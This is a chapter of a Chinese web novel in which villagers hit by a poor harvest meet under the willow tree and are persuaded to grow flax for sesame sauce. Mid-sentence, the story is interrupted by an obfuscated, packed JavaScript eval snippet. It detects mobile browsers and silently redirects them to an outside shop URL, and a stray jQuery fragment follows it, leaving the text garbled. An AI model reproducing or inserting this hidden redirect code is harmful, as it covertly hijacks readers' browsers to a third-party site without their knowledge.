金秋，村口的大柳树叶子已变得金黄，长长的柳条似垂下来的帘幕，在萧萧秋风中徐徐舞动，泛着金色的光泽。
村里的人家都三五聚集在了村口，战乱前，十里村便经常开大会，讨论一年四季的播种收成，今年里村民人数骤减，春夏种地的忙碌都是常规的安排，已经有一年没有开过村民大会了。
村民们难得这么全地聚在一起，今年收成不佳，三五成群都在抱怨发愁。
“我家的粮食只装了半仓，只有十几斗，家里这么些人，哪里撑得过。”
“谁说不是呢，省下来的存粮早消耗完了，这可咋整啊。”
“诶，杨嫂子，你们家往年会做腊味不？”村里的一个妇人把自家搬来的瘸腿小板凳一放，挨着杨氏坐下，此人是之前秦生一同下田的薛柱子的媳妇，娘家也姓李，名银连。
在一堆唉声叹气中，这突然的一句话让杨氏怔了一下，不过她和李银连关系好，知道她有嘴馋的毛病，笑了一下，也亲亲热热地和她挤在一起聊天。
“不大常做，只我婆婆还会一点，我们老家没临着山，平日里顶多也就下河摸摸鱼，没啥山珍野味。”
转头，杨氏又呼喊着弟妹孙氏、小姑子李大姐以及几个相熟的妇人坐下，而后问道，“咋的？银连妹子，你们要做腊味？”
“对。”李银连指指和一群婆子们坐在另一边的薛阿婆，“喏，我家姑母做腊味很拿手的，好吃的很，秋日里动物肥，个个养着膘过冬呢，叫男人们上山去猎些山鸡野鹿来，腌好了穿成串，等过几日天干风大的时候连吹几天，很快就做好了。”
薛阿婆厨艺好，村里前段时间吃的咬春饭也是她调的味道，妇人们个个都觉得香极了。
杨氏点点头，缺吃少喝的时候，若能有些肉腥味比啥都香。
“做腊味…得费不少盐巴吧？”
孙氏犹豫着开口，李家人都是凑一起吃大锅饭，灶上的活计都是归她管，不得不精打细算。
“是得下点盐，不过用最粗的盐就成，到时候咱们聚在一块儿做，省着点用。”
“唉，还是今年收成太差了，都匀不出粮食养牲畜，若是能买头小猪，等养到明年年底成了大肥猪，那割了肉做腊肠才香呢。”另一个妇人感慨。
“说起来，今日我们开大会，是不是要说这欠收的事儿啊？”李银连声音压低，这样丧气的话若是叫许大有听了，肯定得斥责她两句，“之前还觉得新朝建立了，日子好过了几分，谁知道老天爷一翻脸——还不如之前呢。”
“我可不觉着。”杨氏虽和李银连关系好，但她为人耿直，有啥说啥，心里不赞同就直接说道，“你们是没逃难过，不知道仗一打起来，多少人眨个眼就能掉了脑袋，能安稳逃到这儿呆着，已是我们全家命大。”
其实这也是现在十里村关系能如此和谐的原因，原村民人少不起事儿，外来人珍惜着难得的安生日子，两拨人的目标非常一致。
李银连一回想，也是，哪能因为缺少吃食就忘记了战乱里受的苦呢。
她有些讪讪，继而转移话题。
“诶，杨嫂子，今日雁娘姐没同你一起过来吗？”
“说是有事先去村长家了，要给我们惊喜呢。”
杨氏昨日知晓要到村口议事，第一时间就来找了陈雁娘，却被告知叫她先过去，秦家一家人都要先去许家。
问她是什么事儿，陈雁娘只抿着嘴笑，“我是觉得是好事，便是没弄成，起码也能叫大家尝个鲜。”
“村长来了，村长来了。”
众人聊着闲天，翘首以盼间，许大有和一众族老们踱着步来到了大柳树下，打头的许老汉拄着拐杖，弓着背，右手抚了抚长长的花白胡须，走到树下一张空着的八仙凳前坐下。
许老汉年过八十，是村里年纪辈分最长的人，见他到了，村里人都慢慢安静了下来。
许大有得了他的眼神示意，咳嗽了一声，拉高声音，“各位村民，今日叫大家聚集在这里，是为着一件我们大家都明白的事儿。”
他环顾一圈，见不少人面上都带着了然的愁意，继续说道，“虽然今年咱们都已尽力修了水渠，抢了农时，但是老天爷不赏饭吃，咱们也只能认下，去年村里遭的难，大家也都还记得，能活下来，就是咱赚了。”
一番鼓气的话，让村里人低迷的情绪稍微振奋了些许，好歹不是一家的困难，整个村子都在努力想办法呢。
许大有不再卖关子，直接说道，“咱们村新来的秦生兄弟，以前家里是北方边关的，他们那地方有个作物叫胡麻，这东西虽不是粮食，却能拿来做酱榨油卖钱。再加上，现下村口官道上来来往往的商队大家都瞧见了，朝廷是支持行商的。”
闻得此言，村民们已经按捺不住，你看看我，我瞅瞅你，细碎的声音低低讨论开来。
有同是逃难来的人回忆，“我家此前离边关也近，仿佛也是听过这个叫什么胡麻的。”
十里村的村民则略带怀疑，“村长这是啥意思？咱们要种这个东西卖？”
“这可不是件容易事儿，卖东西哪有那么简单，种了回头卖给谁啊？”
村民议论声不绝，许大有反而没有制止，任由大家讨论猜测。没过一会儿，沿村内小路，走来一行人，正是准备着凉菜吃食的秦家和许家人。
陈雁娘目光和杨氏几人对上，她眼睛笑得亮晶晶，招手同她们示意，又伸出手指指了指自己胳膊上挎着的小篮子。
杨氏眼神落在那个篮子上，不知是什么稀罕物件。
等几人走近，许大有才抬起手，向下压了压，示意安静，“大家或许已经有了猜测，没错，村里决定，明年除了照常种稻子，每家再分拨出一人尝试着种胡麻，至于卖到哪里去……”
他回头看了看儿子许福来一眼。
许福来上前，大声说出了昨晚一起讨论出的决定，“我和秦兄弟会一起去镇上找销路，想一起来的乡亲们也都可以来帮忙，大家放心，如果我们卖不出去，这件事就当我们没提过。不过，我和秦兄弟都是非常有信心的。”
说着，秦生一起上前，后面陈雁娘等人也都打开了拿着的竹篮。
“这是秦兄弟先种好的胡麻磨的酱。”许福来把竹篮里煮好又拌了麻酱的青菜拿了出来，举高给众人示意，“大家每人可以来尝一口。”
村里人倒也爽快，凑得近的拿起许秋娘递过来的筷子，离得远的探着身子便捻起一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557791|204379||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
棵尝到嘴里。
是从来没有尝过的味道，入口香味浓郁，平日里吃着略显寡淡的青菜也都显得有滋味了许多。
“这定是能卖出去的。”李三郎连着吃了两口，率先说道，给予了极高的认可。
“对啊，我吃着也不赖，和之前镇里醉香楼的招牌小菜也有的一比呢。”
杨氏凑上前，用手指挟了一块，吃进嘴里，尚未说话，一旁的李银连惊讶着开口，“这味道可真好吃！又香又醇，比清水煮菜好吃多了！雁娘姐，我家要种，就算别人家都不种我家也要种！”
薛柱子站在靠后一点的人堆中，听得自家媳妇咋咋唬唬的声音，不由扶额一笑，有这样一个馋嘴媳妇，看来他们家已然是定好了。
人群嘈杂间，夹杂着同自家人彼此商量着的声音。
村里人其实是极明白的，种粮食靠天吃饭，若是实在没别的法子只能苦哈哈地忍饥挨饿，任由老天决定是否赏饭吃也就算了，既然现在秦家能有办法带着大家一块赚钱，许福来又承诺了销路，倒是个不妨一试的营生。
见乡亲们有些意动，秦生看向许大有，二人对视一眼，按照约好的话术，秦生先开口道：“各位乡亲们，我把话说在前头，种这东西，我们都不是啥有经验的，知道能赚钱，但是一定也有风险。”
他顿了顿，“若是有人家愿意跟着我们一起种，我们愿意分点种子，一起试试，若是不愿意，这也不是能强逼着的事儿。”
许大有接着表态，“若是跟着秦家一块儿干，村里把现在没人种的地理一理分给你们，既要干那就好好干。但正如秦生说的，村里是不会强逼着大家种的。“
众人一时沉默下来，都在思考着如何决定。
忽的，传来几个人小声嘀咕的声音，“为啥不能跟秦家一样，去村口买茶水？”
“就是，我看那生意也不错，每日估计着赚不老少呢。”
起头说话的叫赵大江，也是外来定居到十里村的。
他们家是跟族人一起出逃的，原本出来的时候老老少少近百口人，等逃到十里村这里，已经只剩下三五户人家，家里人也都不全了。
其实这话倒是说进了不少村民心里，夏日酷暑之时他们没想过同秦家一道争这生意，但现在粮食歉收，赚多赚少都是条活路，早已有好几户人家动了心思想一起去摆摊，不过是碍于面子不好第一个跟着去。
若再这样缺衣少食下去，也是迟早的事儿。
秦生闻言，心下一愣，卖茶水赚的是辛苦钱，夏日炎热，起早贪黑，一碗薄荷凉茶不过能卖一文，一天下来，多时能赚十几文，少时甚至没有收入，只能谈得上糊口，致富却是极难。若不是他和陈雁娘所图不同，怕是也难以坚持干下去。
他正欲开口解释，谁料许秋娘先一步站了出来，面上已不复早先的温和，声音发冷。
“赵大哥，你这话说的倒是有些轻巧了，旁边几个村子确有仿着秦家摆摊的，有哪几个能坚持着做？不都是嫌辛苦嫌不赚钱，干几日就躲懒放弃了。茶水摊就在官道上，每日进出你也能看着，何苦今日当众说出来膈应人，秦兄弟给咱们贡献种胡麻的点子，你倒是在这儿惦记他的营生？自己不嫌臊得慌？“